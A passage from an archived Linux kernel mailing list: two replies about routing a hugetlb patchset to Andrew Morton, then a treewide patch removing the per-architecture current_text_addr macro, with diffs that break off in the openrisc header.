Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 20 Aug 2018 09:17:30 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20180820071730.GC29735@dhcp22.suse.cz>
References: <20180806175711.24438-1-alex@ghiti.fr>
 <81078a7f-09cf-7f19-f6bb-8a1f4968d6fb@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1534749337 1145 195.159.176.226 (20 Aug 2018 07:15:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Aug 2018 07:15:37 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Mike Kravetz <mike.kravetz@oracle.com>,
        linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 20 09:15:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1frePP-0008UC-GY
	for glk-linux-kernel-4@m.gmane.org; Mon, 20 Aug 2018 09:15:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726683AbeHTKcF (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 20 Aug 2018 06:32:05 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:34382 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726030AbeHTKcE (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 20 Aug 2018 06:32:04 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 26AF0AEB6;
        Mon, 20 Aug 2018 07:17:33 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <81078a7f-09cf-7f19-f6bb-8a1f4968d6fb@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2849038 gmane.linux.kernel.mm:201816 gmane.linux.ports.arm.kernel:669483 gmane.linux.ports.ia64:29098 gmane.linux.ports.mips.general:66111 gmane.linux.ports.parisc:28900 gmane.linux.ports.ppc64.devel:161386 gmane.linux.ports.sh.devel:57387 gmane.linux.ports.sparc:28210 gmane.linux.kernel.cross-arch:45732
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2849038>

On Mon 20-08-18 08:45:10, Alexandre Ghiti wrote:
> Hi Michal,
> 
> This patchset got acked, tested and reviewed by quite a few people, and it
> has been suggested
> that it should be included in -mm tree: could you tell me if something else
> needs to be done for
> its inclusion ?
> 
> Thanks for your time,

I didn't really get to look at the series but seeing an Ack from Mike
and arch maintainers should be good enough for it to go. This email
doesn't have Andrew Morton in the CC list so you should add him if you
want the series to land into the mm tree.
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 20 Aug 2018 09:36:35 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <00b8c047-3ab5-f86b-41e5-d87950f10c21@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
 <81078a7f-09cf-7f19-f6bb-8a1f4968d6fb@ghiti.fr>
 <20180820071730.GC29735@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1534750558 31049 195.159.176.226 (20 Aug 2018 07:35:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Aug 2018 07:35:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-mm@kvack.org, Mike Kravetz <mike.kravetz@oracle.com>,
        linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 20 09:35:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1frej8-0007tl-Hh
	for glk-linux-kernel-4@m.gmane.org; Mon, 20 Aug 2018 09:35:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726563AbeHTKwa (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 20 Aug 2018 06:52:30 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:48707 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726032AbeHTKwa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 20 Aug 2018 06:52:30 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 386B21BF207;
        Mon, 20 Aug 2018 07:37:50 +0000 (UTC)
In-Reply-To: <20180820071730.GC29735@dhcp22.suse.cz>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2849046 gmane.linux.kernel.mm:201817 gmane.linux.ports.arm.kernel:669484 gmane.linux.ports.ia64:29099 gmane.linux.ports.mips.general:66112 gmane.linux.ports.parisc:28901 gmane.linux.ports.ppc64.devel:161387 gmane.linux.ports.sh.devel:57388 gmane.linux.ports.sparc:28211 gmane.linux.kernel.cross-arch:45733
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2849046>

Ok, my bad, sorry about that, I have just added Andrew as CC then.

Thank you,

Alex


On 08/20/2018 09:17 AM, Michal Hocko wrote:
> On Mon 20-08-18 08:45:10, Alexandre Ghiti wrote:
>> Hi Michal,
>>
>> This patchset got acked, tested and reviewed by quite a few people, and it
>> has been suggested
>> that it should be included in -mm tree: could you tell me if something else
>> needs to be done for
>> its inclusion ?
>>
>> Thanks for your time,
> I didn't really get to look at the series but seeing an Ack from Mike
> and arch maintainers should be good enough for it to go. This email
> doesn't have Andrew Morton in the CC list so you should add him if you
> want the series to land into the mm tree.



From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: [PATCH] treewide: remove current_text_addr
Date: Tue, 21 Aug 2018 13:28:14 -0700
Lines: 569
Approved: news@gmane.org
Message-ID: <20180821202900.208417-1-ndesaulniers@google.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1534883383 20791 195.159.176.226 (21 Aug 2018 20:29:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 21 Aug 2018 20:29:43 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?q?Alex=20Benn=C3=A9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 Nick Desaulniers <nde
To: torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Aug 21 22:29:29 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fsDHM-000516-IH
	for gla-linux-snps-arc@m.gmane.org; Tue, 21 Aug 2018 22:29:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:From:Subject:References:Mime-Version
	:Message-Id:In-Reply-To:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=C6USL9mtT7zjqoGXCsXkbVnKV4MLZnxXrPttLHtZLdM=; b=NVAW9LXzcq5Jp8
	JFDxtrko1iMRPCe7G9Qzf7cTdXerOM0G+7KBGZu4l/rgKffH2VZVO2h46exeAJsblsRr+cMaz9vtp
	1L3S8f9BDGJssX84grIEuEyl1k1gex/RKlr1LNCYuQeIYZx1R4Fk5QZvIEFwTrvub9Fwuft6w3Ytw
	bfnR17VeWEWvw8JqVJCk28LK14WVcGf96v700trkbSIw8boZfKbTiUYEhMkDyfauLfHgXtg5qFzkM
	9jxBqYh41yxybA/2sv5cYICaFodbZYNcXuZIpx00lN/etX87dOuf4fZsQRpB6ovOY1xsxD658IphC
	JSRdABgK04UZvPZ1IQHw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fsDJS-0007CW-CV; Tue, 21 Aug 2018 20:31:38 +0000
Original-Received: from mail-it0-x249.google.com ([2607:f8b0:4001:c0b::249])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fsDJN-00079b-3k
 for linux-snps-arc@lists.infradead.org; Tue, 21 Aug 2018 20:31:37 +0000
Original-Received: by mail-it0-x249.google.com with SMTP id e6-v6so38047itc.7
 for <linux-snps-arc@lists.infradead.org>; Tue, 21 Aug 2018 13:31:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=date:in-reply-to:message-id:mime-version:references:subject:from:to
 :cc; bh=ioXeZ9O9/18Nwb8gLwEOorcUyDe4xCVsYiZuLmClpbQ=;
 b=JrR1/haNdyeNhYmgMuhmGQMv40A58vIM1PIbcUtQsVpwVktxNZnBlvLPEJxRMDwyav
 VpyNuimVlO9z8/QU7slNJizNPU4DUmlwfoPOK+bBGu2WXzlJVsQtpziQ/L5mwTew+W2W
 /1V6ETC7VqMIp1GTc/yIoL8fNlcOD5yWIunVqb1g5rQ2bEg7DSd46fgBNrvAMn/mmAJt
 9nITOT6LeN3vsSaUNAnPBEevp3V56swffZIx5KAmgetBg978OrE7EUIxWLMoM8bYsLI1
 4Ocsp7Dp7zAb4UG87l51/u8naUMTLNIt3+ukpUdYATbW89D477QPAaybT0azvkqjHtDy
 +b8w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:in-reply-to:message-id:mime-version
 :references:subject:from:to:cc;
 bh=ioXeZ9O9/18Nwb8gLwEOorcUyDe4xCVsYiZuLmClpbQ=;
 b=JUgTnwMtZ94+yDayuEPskovdK8Gw6jswlKDnG8hd5u4VkRhGwmUnVpiojkFQNvio/G
 7DmQwNnuGiE7pixUHw29oZpaceDLRzPKKQCfCDB7vWz8y4GGu1fQArCP6YMERnYY+adV
 DXKNVkarj7RPg4Sbu5NAuenfCbIS9iPNUYjyUXTkhWs1M+K3fWfnjhggbYL4F/8o5Kl9
 b8Mo/RS0PNuibyprHOPbb0jPQCtBmygFhQTtCwAkGzqpmhYmQ8FkWdPpM0GjHrKR/Cbj
 cXcAMidUI4y2JDkaoYi/MdC7uO4uK8BVHnkQq6tpaUwkqROyhjo9tHhRTNVrM/aR20oi
 WAeA==
X-Gm-Message-State: AOUpUlGVyLkyr5v1UN0MNSwsaSBCAgKiMaAoSo+YA4JaIgTgEw0AR6TX
 HEyB8CB+iSU5vp/0tbA2wcP4PE8tHMEXT9g/XnY=
X-Google-Smtp-Source: AA+uWPxYaIAoc76wiFQXJiu1N4ZNN/MSr2nSsjY4XFvjHlS85UgTQUL7GphpwOwk47lc3vHNNt5XWcwuPljQe92BJe8=
X-Received: by 2002:a6b:1806:: with SMTP id 6-v6mr23963203ioy.30.1534883480321; 
 Tue, 21 Aug 2018 13:31:20 -0700 (PDT)
In-Reply-To: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
X-Mailer: git-send-email 2.18.0.865.gffc8e1a3cd6-goog
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180821_133133_195175_23C38DC8 
X-CRM114-Status: GOOD (  16.75  )
X-Spam-Score: -7.6 (-------)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-7.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:249 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -7.5 USER_IN_DEF_DKIM_WL    From: address is in the default DKIM white-list
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.0 T_DKIMWL_WL_MED        DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4206 gmane.linux.ports.mips.general:66165 gmane.linux.ports.sh.devel:57397 gmane.linux.kernel:2850302 gmane.linux.ports.ia64:29102 gmane.linux.ports.hexagon:1811 gmane.linux.ports.arm.kernel:669705 gmane.linux.ports.parisc:28902 gmane.linux.ports.alpha:5200 gmane.linux.ports.sparc:28221 gmane.linux.ports.riscv:506 gmane.linux.ports.ppc64.devel:161486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4206>

Prefer _THIS_IP_ defined in linux/kernel.h.

Most definitions of current_text_addr were the same as _THIS_IP_, but
a few archs had inline assembly instead.

This patch removes the final call site of current_text_addr, making all
of the definitions dead code.

Signed-off-by: Nick Desaulniers <ndesaulniers@google.com>
---
I suspect that current_text_addr predated GNU C extensions for statement
expressions and/or taking the address of a label, then the macro was
reimplemented for every new archs include/asm/processor.h, even though
there were very few call sites, and none required an assembly
implementation vs the C implementation.

I am sad to see a few neat arch specific ways of getting the ip/pc, but
we should prefer the higher level C in cases where assembly is not
required. And the definitions can always be found again in git history.

 arch/alpha/include/asm/processor.h      |  6 ------
 arch/arc/include/asm/processor.h        |  8 --------
 arch/arm/include/asm/processor.h        |  6 ------
 arch/arm64/include/asm/processor.h      |  7 -------
 arch/c6x/include/asm/processor.h        | 11 -----------
 arch/h8300/include/asm/processor.h      |  6 ------
 arch/hexagon/include/asm/processor.h    |  3 ---
 arch/ia64/include/asm/processor.h       |  6 ------
 arch/m68k/include/asm/processor.h       |  6 ------
 arch/microblaze/include/asm/processor.h | 12 ------------
 arch/mips/include/asm/processor.h       |  5 -----
 arch/nds32/include/asm/processor.h      |  6 ------
 arch/nios2/include/asm/processor.h      |  6 ------
 arch/openrisc/include/asm/processor.h   |  5 -----
 arch/parisc/include/asm/processor.h     | 11 -----------
 arch/powerpc/include/asm/processor.h    |  6 ------
 arch/riscv/include/asm/processor.h      |  6 ------
 arch/s390/include/asm/processor.h       |  6 ------
 arch/sh/include/asm/processor_32.h      |  6 ------
 arch/sh/include/asm/processor_64.h      | 15 ---------------
 arch/sparc/include/asm/processor_32.h   |  6 ------
 arch/sparc/include/asm/processor_64.h   |  6 ------
 arch/unicore32/include/asm/processor.h  |  6 ------
 arch/x86/include/asm/kexec.h            |  3 ++-
 arch/x86/include/asm/processor.h        | 12 ------------
 arch/x86/um/asm/processor_32.h          |  8 --------
 arch/x86/um/asm/processor_64.h          |  3 ---
 arch/xtensa/include/asm/processor.h     |  8 --------
 28 files changed, 2 insertions(+), 193 deletions(-)

diff --git a/arch/alpha/include/asm/processor.h b/arch/alpha/include/asm/processor.h
index cb05d045efe3..6100431da07a 100644
--- a/arch/alpha/include/asm/processor.h
+++ b/arch/alpha/include/asm/processor.h
@@ -10,12 +10,6 @@
 
 #include <linux/personality.h>	/* for ADDR_LIMIT_32BIT */
 
-/*
- * Returns current instruction pointer ("program counter").
- */
-#define current_text_addr() \
-  ({ void *__pc; __asm__ ("br %0,.+4" : "=r"(__pc)); __pc; })
-
 /*
  * We have a 42-bit user address space: 4TB user VM...
  */
diff --git a/arch/arc/include/asm/processor.h b/arch/arc/include/asm/processor.h
index 8ee41e988169..10346d6cf926 100644
--- a/arch/arc/include/asm/processor.h
+++ b/arch/arc/include/asm/processor.h
@@ -98,14 +98,6 @@ extern void start_thread(struct pt_regs * regs, unsigned long pc,
 
 extern unsigned int get_wchan(struct task_struct *p);
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- * Should the PC register be read instead ? This macro does not seem to
- * be used in many places so this wont be all that bad.
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 #endif /* !__ASSEMBLY__ */
 
 /*
diff --git a/arch/arm/include/asm/processor.h b/arch/arm/include/asm/processor.h
index 1bf65b47808a..120f4c9bbfde 100644
--- a/arch/arm/include/asm/processor.h
+++ b/arch/arm/include/asm/processor.h
@@ -11,12 +11,6 @@
 #ifndef __ASM_ARM_PROCESSOR_H
 #define __ASM_ARM_PROCESSOR_H
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 #ifdef __KERNEL__
 
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/include/asm/processor.h b/arch/arm64/include/asm/processor.h
index 79657ad91397..966214f473b4 100644
--- a/arch/arm64/include/asm/processor.h
+++ b/arch/arm64/include/asm/processor.h
@@ -25,13 +25,6 @@
 #define USER_DS		(TASK_SIZE_64 - 1)
 
 #ifndef __ASSEMBLY__
-
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 #ifdef __KERNEL__
 
 #include <linux/build_bug.h>
diff --git a/arch/c6x/include/asm/processor.h b/arch/c6x/include/asm/processor.h
index 8f7cce829f8e..a8581f5b27f6 100644
--- a/arch/c6x/include/asm/processor.h
+++ b/arch/c6x/include/asm/processor.h
@@ -17,17 +17,6 @@
 #include <asm/page.h>
 #include <asm/current.h>
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr()			\
-({						\
-	void *__pc;				\
-	asm("mvc .S2 pce1,%0\n" : "=b"(__pc));	\
-	__pc;					\
-})
-
 /*
  * User space process size. This is mostly meaningless for NOMMU
  * but some C6X processors may have RAM addresses up to 0xFFFFFFFF.
diff --git a/arch/h8300/include/asm/processor.h b/arch/h8300/include/asm/processor.h
index 985346393e4a..a060b41b2d31 100644
--- a/arch/h8300/include/asm/processor.h
+++ b/arch/h8300/include/asm/processor.h
@@ -12,12 +12,6 @@
 #ifndef __ASM_H8300_PROCESSOR_H
 #define __ASM_H8300_PROCESSOR_H
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 #include <linux/compiler.h>
 #include <asm/segment.h>
 #include <asm/ptrace.h>
diff --git a/arch/hexagon/include/asm/processor.h b/arch/hexagon/include/asm/processor.h
index ce67940860a5..227bcb9cfdac 100644
--- a/arch/hexagon/include/asm/processor.h
+++ b/arch/hexagon/include/asm/processor.h
@@ -27,9 +27,6 @@
 #include <asm/registers.h>
 #include <asm/hexagon_vm.h>
 
-/*  must be a macro  */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 /*  task_struct, defined elsewhere, is the "process descriptor" */
 struct task_struct;
 
diff --git a/arch/ia64/include/asm/processor.h b/arch/ia64/include/asm/processor.h
index 10061ccf0440..c91ef98ed6bf 100644
--- a/arch/ia64/include/asm/processor.h
+++ b/arch/ia64/include/asm/processor.h
@@ -602,12 +602,6 @@ ia64_set_unat (__u64 *unat, void *spill_addr, unsigned long nat)
 	*unat = (*unat & ~mask) | (nat << bit);
 }
 
-/*
- * Get the current instruction/program counter value.
- */
-#define current_text_addr() \
-	({ void *_pc; _pc = (void *)ia64_getreg(_IA64_REG_IP); _pc; })
-
 static inline __u64
 ia64_get_ivr (void)
 {
diff --git a/arch/m68k/include/asm/processor.h b/arch/m68k/include/asm/processor.h
index 464e9f5f50ee..3750819ac5a1 100644
--- a/arch/m68k/include/asm/processor.h
+++ b/arch/m68k/include/asm/processor.h
@@ -8,12 +8,6 @@
 #ifndef __ASM_M68K_PROCESSOR_H
 #define __ASM_M68K_PROCESSOR_H
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 #include <linux/thread_info.h>
 #include <asm/segment.h>
 #include <asm/fpu.h>
diff --git a/arch/microblaze/include/asm/processor.h b/arch/microblaze/include/asm/processor.h
index 330d556860ba..66b537b8d138 100644
--- a/arch/microblaze/include/asm/processor.h
+++ b/arch/microblaze/include/asm/processor.h
@@ -45,12 +45,6 @@ extern void ret_from_kernel_thread(void);
  */
 # define TASK_SIZE	(0x81000000 - 0x80000000)
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-# define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 /*
  * This decides where the kernel will search for a free chunk of vm
  * space during mmap's. We won't be using it
@@ -92,12 +86,6 @@ extern unsigned long get_wchan(struct task_struct *p);
 
 #  ifndef __ASSEMBLY__
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#  define current_text_addr()	({ __label__ _l; _l: &&_l; })
-
 /* If you change this, you must change the associated assembly-languages
  * constants defined below, THREAD_*.
  */
diff --git a/arch/mips/include/asm/processor.h b/arch/mips/include/asm/processor.h
index b2fa62922d88..f08417f8772e 100644
--- a/arch/mips/include/asm/processor.h
+++ b/arch/mips/include/asm/processor.h
@@ -22,11 +22,6 @@
 #include <asm/mipsregs.h>
 #include <asm/prefetch.h>
 
-/*
- * Return current * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 /*
  * System setup and hardware flags..
  */
diff --git a/arch/nds32/include/asm/processor.h b/arch/nds32/include/asm/processor.h
index 9c83caf4269f..c2660f566bac 100644
--- a/arch/nds32/include/asm/processor.h
+++ b/arch/nds32/include/asm/processor.h
@@ -4,12 +4,6 @@
 #ifndef __ASM_NDS32_PROCESSOR_H
 #define __ASM_NDS32_PROCESSOR_H
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 #ifdef __KERNEL__
 
 #include <asm/ptrace.h>
diff --git a/arch/nios2/include/asm/processor.h b/arch/nios2/include/asm/processor.h
index 4944e2e1d8b0..94bcb86f679f 100644
--- a/arch/nios2/include/asm/processor.h
+++ b/arch/nios2/include/asm/processor.h
@@ -38,12 +38,6 @@
 #define KUSER_SIZE		(PAGE_SIZE)
 #ifndef __ASSEMBLY__
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 # define TASK_SIZE		0x7FFF0000UL
 # define TASK_UNMAPPED_BASE	(PAGE_ALIGN(TASK_SIZE / 3))
 
diff --git a/arch/openrisc/include/asm/processor.h b/arch/openrisc/include/asm/processor.h
index af31a9fe736a..351d3aed7a06 100644
--- a/arch/openrisc/include/asm/processor.h
+++ b/arch/openrisc/include/asm/processor.h
@@ -30,11 +30,6 @@
 		   | SPR_SR_DCE | SPR_SR_SM)
 #define USER_SR   (SPR_SR_DME | SPR_SR_IME | SPR_SR_ICE \
 		   | SPR_SR_DCE | SPR_SR_IEE | SPR_SR_TEE)
-/*
- * Default implementation of macro that returns current
